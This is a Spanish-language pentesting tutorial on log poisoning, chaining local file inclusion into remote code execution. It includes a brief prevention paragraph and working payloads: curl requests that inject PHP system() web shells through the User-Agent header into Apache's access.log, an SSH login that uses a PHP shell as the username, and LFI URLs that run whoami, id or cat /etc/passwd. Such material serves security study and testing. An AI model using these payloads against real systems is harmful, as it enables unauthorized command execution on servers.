Log Poisoning (LFI to RCE)

#OWASP10 #LogPoison

El Log Poisoning es una técnica de ataque en la que un atacante manipula los archivos de registro de una aplicación web para lograr resultados malintencionados. Esta técnica se puede utilizar junto con una vulnerabilidad de LFI para lograr una ejecución remota de comandos en el servidor.

En este tipo de ataque, el atacante busca envenenar los archivos de registro, como el 'auth.log' de SSH o el 'access.log' de Apache. Para ello, explota una vulnerabilidad LFI para acceder a estos archivos. Una vez que ha obtenido acceso, el atacante introduce código malicioso en los campos relevantes, como el nombre de usuario en el caso del 'auth.log' de SSH o el campo 'User-Agent' en el caso del 'access.log' de Apache.

Cuando los archivos de registro son leídos, el código malicioso se ejecuta, lo que permite al atacante lograr una ejecución remota de comandos en el servidor. Por ejemplo, el atacante puede enviar comandos a través del campo de usuario en el 'auth.log' de SSH o utilizar el campo 'User-Agent' en una solicitud HTTP para ejecutar comandos en el 'access.log' de Apache.

Es importante tener en cuenta que en algunos sistemas, como los basados en Debian y Ubuntu, los eventos de autenticación de SSH se registran en el archivo 'auth.log', mientras que en sistemas basados en Red Hat y CentOS, se registran en el archivo 'btmp'. Es necesario conocer la estructura de registro específica del sistema objetivo.

Para prevenir el Log Poisoning, es esencial que los desarrolladores limiten el acceso a los archivos de registro y los almacenen en ubicaciones seguras. Además, se debe implementar una adecuada validación y filtrado de la entrada del usuario para evitar la introducción de datos maliciosos en los archivos de registro. Estas medidas ayudan a mitigar el riesgo de Log Poisoning y garantizan la integridad y seguridad de los registros de la aplicación web.

Payload

Apache

El siguiente payload esta enfocando a un objetivo que utiliza php, en estos escenarios como tienes LFI, siempre tienes que revisar en /var/log/apache2/access.log (Apache), si aparece disable_functions: OFF, significa que puedes ejecutar cualquier comando.

Digamos que el index.php contiene el siguiente codigo:

<?
	include($_GET['filename']);
?>

Si ejecutas el siguiente comando, arrojara un error porque el recurso no existe...

curl -s -X GET "http://localhost/null" -H "User-Agent: TESTINGTESTING"

Pero al revisar el log en /var/log/apache2/access.log podras ver tu request en texto plano.

curl -s -X GET "http://localhost/null" -H "User-Agent: <?php system('whoami'); ?>"

La peticion anterior, es un comando php, como tienes LFI puedes leer el log y php suele interpretarlo.

http://localhost/index.php?filename=/var/log/apache2/access.log

Al ingresar, podras notar que el comando whoami fue interpretado.

Alternativas de Payload

curl -s -X GET "http://localhost/probando" -H "<?php system(\$_GET['cmd']); ?>"

Luego puedess hacer lo siguiente:

http://localhost/index.php?filename=/var/log/apache2/access.log&cmd=id

SSH

Payload:

ssh prueba@IP_OBJETIVO

Localizacion Log SSH

cat /var/log/btmp ; echo
# Mostrara tu intento de login
chmod +r btmp #Por si falla, libera los permisos.

Si puede leer php, puedes hacer lo siguiente:

ssh '<?php system($_GET["cmd"]); ?>'@IP_OBJETIVO
  • http://localhost/index.php?filename=/var/log/btmp&cmd=whoami

Y ya puedes ejecutar ps -faux, cat /etc/passwd, etc.

Last updated